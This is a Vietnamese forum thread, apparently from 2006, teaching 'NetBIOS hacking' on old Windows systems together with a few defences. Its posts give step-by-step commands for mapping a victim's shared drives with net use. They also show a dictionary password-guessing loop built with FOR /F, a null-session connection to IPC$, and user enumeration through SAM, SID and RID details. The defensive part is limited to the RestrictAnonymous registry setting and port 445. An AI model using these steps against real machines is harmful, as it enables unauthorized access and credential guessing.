    Ngày trước các Admin của mạng thường Download về Server của mình. Dần dần số lượng của các trang Web trên Net ngày càng nhiều => cách sử dụng này trở nên thiếu hiệu quả và mất thời gian => DNS ra đời ...
    ( Cũng có bài viết chi tiết về DNS trên HVA portal ).

    Sau đó bạn thêm vào trong File này theo cú pháp sau :
    ipAddressvictim tênmáy #PRE

    Ví dụ ở đây tôi thêm vào dòng : 203.210.136.23 MAY1 #PRE trong File LMHost, rồi chạy lệnh nbtstat -R để nạp lại table cache.

    Bây giờ bạn có thể tạo thêm một ổ trên máy tính của mình và kết nối tới ở hay thư mục được Share trên máy tính của victim bằng cách sử dụng lênh Net use

    Net use Tên_ổ_đĩa : \\ipAddressVictim\shareName

    Ví dụ : Net use X: \\203.210.136.23\C

    Nếu thấy dòng lệnh

    The command was complete succesfully




    Done, bấm đúp vào My Computer và xem thử xem có gì mới trong máy tính của ta không.

    Để tránh nhầm lẫn khi ánh xạ ổ đĩa ta có thể sử dụng ký hiệu * thay cho tên ổ đĩa:

    net use * \\203.210.136.23\C

    Thế nhưng nhiều khi cuộc đời không đẹp như mơ vì khi thực hiện đường truyền của bạn chậm hay vì máy victim đặt pass truy nhập. ...

    Nếu máy victim sử dụng Windows95,98,98se hay Win me bạn có thể tạm dùng pass : PQWAK ( cái này giống như kiểu concat trên các Main đời cũ

    Thế thì còn máy tính dùng 2000 hay XP ... mà đặt pass và user thì làm thế nào => ta có thể xây dựng một từ điển để dò và sử dụng lệnh For của DOS để thực hiện.

    Ví dụ tôi sẽ tạo ra một File có tên là DoPass.txt và có định dạng sau :
    Code:

    password username

    password Administrator

    "" Administrator

    admin Administrator

    ............................................................





    Và bấy giờ ta có thể sử dụng lệnh For

    C:\FOR /F "token=1,2* " %i in (DoPass.txt ) Do net use \\IpAddressvictim\ShareName

    ( cú pháp sử dụng của lệnh FOR xin các bạn xem trong help của Windows )
    <còn tiếp>
    Tác giả: phuongdong
    27/06/2006 0234

    Tiêu đề: Re: NetBIOS hacking và cách phòng chống (phuongdong)


    light.phoenix
    Ducks

    Joined: 29/10/2004 1529
    Bài gởi: 31
    Offline






    Trước khi tiếp tục chúng ta cần tìm hiểu thêm một số thông tin về dòng Window2000 ( 2000 Pro, 2000 family và 2000 Advandce server ) và Windows XP. Mặc định sau khi cài đặt xong các hệ điều hành này thì tất cả các ổ đĩa của và một số thư mục của chúng sẽ được thiết lập ở chế độ Share ẩn.

    Thế Share ẩn là gì ? Bình thường nếu bạn đã làm việc trong môi trường mạng thì việc chia sẻ các ổ đĩa hay thư mục bằng cách bấm phím phải chuột trên ổ đĩa hay thư mục và chọn Sharing => Ổ đĩa hay thư mục đó sẽ xuất hiện trên mạng. Nhưng nếu bây giờ ta thêm vào sau tên của ổ đĩa hay thư mục chia sẻ ký hiệu $ thì việc chia sẻ vẫn xảy ra nhưng không hiện lên trên mạng và chỉ có người nào biết đường dẫn chính xác mới có thể sử dụng đựơc các tài nguyên này.

    Để xem được các thông tin về việc chia sẻ trên máy tính của mình bạn có thể vào Start\Program\Administrator Tools\Computer management sau đó chọn vào mục Shared Folders để kiểm tra lại máy của mình ( Nếu trong Program chưa có mục Administrator Tools bạn bấm phím phải chuột trên nút Start chọn properties sau đó chọn mục Display Administrator Tools ).

    Ví dụ bạn có thể nhìn thấy các thông tin sau :

    Sharename Resource Remark
    ------------------------------------------------------
    ADMIN$ C:\WINNT Remote Admin
    C$ C:\ Default Share for Internal Use
    D$ D:\ Default Share for Internal Use
    E$ E:\ Default Share for Internal Use
    print$ C:\WINNT\SYSTEM\SPOOL
    IPC$ Remote IPC



    Nếu bạn đang dùng XP thì ADMIN$ sẽ là C:\WINDOWS( Thư mục mặc định khi bạn cài XP ). ....

    Bạn có thể cắt tất cả các chế độ Share của các ổ trên máy tính nhưng riêng IPC$ thì không thể bỏ nó đi đựơc ( Trên 4rum đã có một bài nói về cách tất chế độ Share của IPC$ bằng cách sử dụng một số lệnh viết trong File autoexec.bat - Bạn có thể tìm lại bài đó để xem).

    Thế còn thông tin về user và pass được lưu ở đâu, trên các hệ thống NT và windows2000 và XP chạy ở nhà ( Stand - alone ) các thông tin này được lưu ở trong File %systemroot%\system32\config\sam.

    Với %systemroot % - chính là thư mục mà bạn cài đặt windows ( có thể là windows, winNT ...etc ).

    Và File đó gọi là File SAM - Security Accounts Manager. Các thông tin lưu trong này được mã hoá theo cái gọi là one- way function ( OWF) hoặc giải thuật Hash và kết quả là giá trị mà nó lưu giữ không thể đựơc giải mã (decrypted).

    Trong Windows2000 Domain Controller các thông tin này đựơc lưu trong Active Directory ( nếu khi cài đặt để ở chế độ mặc đinh thì nó nằmg trong %systemroot%\ntds\ntds.dit - File này vào khoảng 10Mb => Việc Down về để giải mã cũng như việc giả mã là không thể => thường nếu định dò pass của DC thì tốt nhất là" chuyển " )

    SID

    Khi Windows2000 hay Windows2000 Domain được cài đặt nó sẽ sinh ra một số ngẫu nhiên cho mỗi User - Đây là một số 48 Bit được gọi là Security Indentifier (SID)

    Một số SIDcó thể có dạng như sau :
    S-1-5-21-1507001333-1204550764-1011284298-500

    Một SID bao giờ cũng bắt đầu với chữ S và các thành phần của nó được ngăn cách nhau bởi dấu trừ ( Hyphens ). Số đầu tiên là số duyệt ( Revision number ) - ỏ ví dụ trên nó là 1

    Số thứ hai là là nói về HDH - ví dụ số 5 luôn luôn là của Windows2000. Tiếp theo là 4 nhóm chữ sô và cuối cùng là RID ( relative Identìier ). Chà ta quan tâm đến RID một tý nào.

    Nếu một SID mà có RID là 500c => Đó là Amin của máy cục bộ
    RID là 501 => guest.

    Nếu ở trong Domain thì RID luôn bắt đầu từ 1000 khi tạo ra User đầu tiên => khi ta nhìn thấy RID =1015 => hệ thống có 14 User đựoc tao ra trong hệ thống.

    OK => đến đây ta lại quay lại bài NetBIOS hacking và cách phòng chống.
    Hầu hết các User đều cho rằng khi Disable netBIOS over TCP/IP ( Bấm vào My Network Places chọn Local Area Connetion, chọn TCP/ IP sau đó bấm vào propperties chọn Advandce, chọn WINS và bấm vào Disable NetBIOS over TCP/IP) là đã chặn đựơc cách thâm nhập vào máy qua NetBIOS.

    Thực ra việc thiết lập này chỉ chặn trên cổng 139. Khác với NT4, Windows2000 còn chạy một SMB lắng nghe trên cổng 445. Cổng này vẫn còn Active cho dù NetBIOS over TCP / IP đã đựoc Disable..

    Phần Windows SMB cho Cllient từ sau version NT4 SP 6a sẽ tự động chuyển lên cổng 445 nếu như cố gắng kết nối trên cổng 139 =>
    Ta có thể thiết lập một kết nối gọi là " null sesion" tới máy của victim
    net use \\192,168.203.33\IPC$ "" /u:"" <= thiết lập một kết nối với anonymous user (/u) và pass rỗng (""). Nếu thành công ta cũng có thể sử dụng Net view để xem các tài nguyên được chia sẻ trên máy victim ....

    => Để chống lại ta có thể can thiệp vào Registry :

    HKLM\system\CurrentControlSet\Control\LSA\RestrictAnonymous

    Bấm đúp vào key RestrictAnonymous ở panel bên phải và nhập vào trong khung Value 2

    RestrictAnonymous có 3 giá trị:

    0 Đây là gía trị mặc định của nó khi cài Winddows
    1 Không cho phép tìm hiểu các thông tin của SAM
    2 Không cho phép truy nhập



    Ở đây bạn phải lưu ý rằng nêu bạn để RestrictAnonymous với giá trị là 1 thì vẫn có thể dung một số Tool như user2sid/sid2user hay UserInfor hoặc UserDump .... để lấy được thông tin về user và truy nhập vào máy bạn được.

    Tác giả: PhuongDong

+ Reply to Thread
Page 1 of 2 1 2 LastLast

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

     

Similar Threads

  1. Ebook Visual Basic.NET [Tiếng Việt]
    By Mr.Điệp™ in forum Programming
    Replies: 3
    Last Post: 02-03, 10:41 PM

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts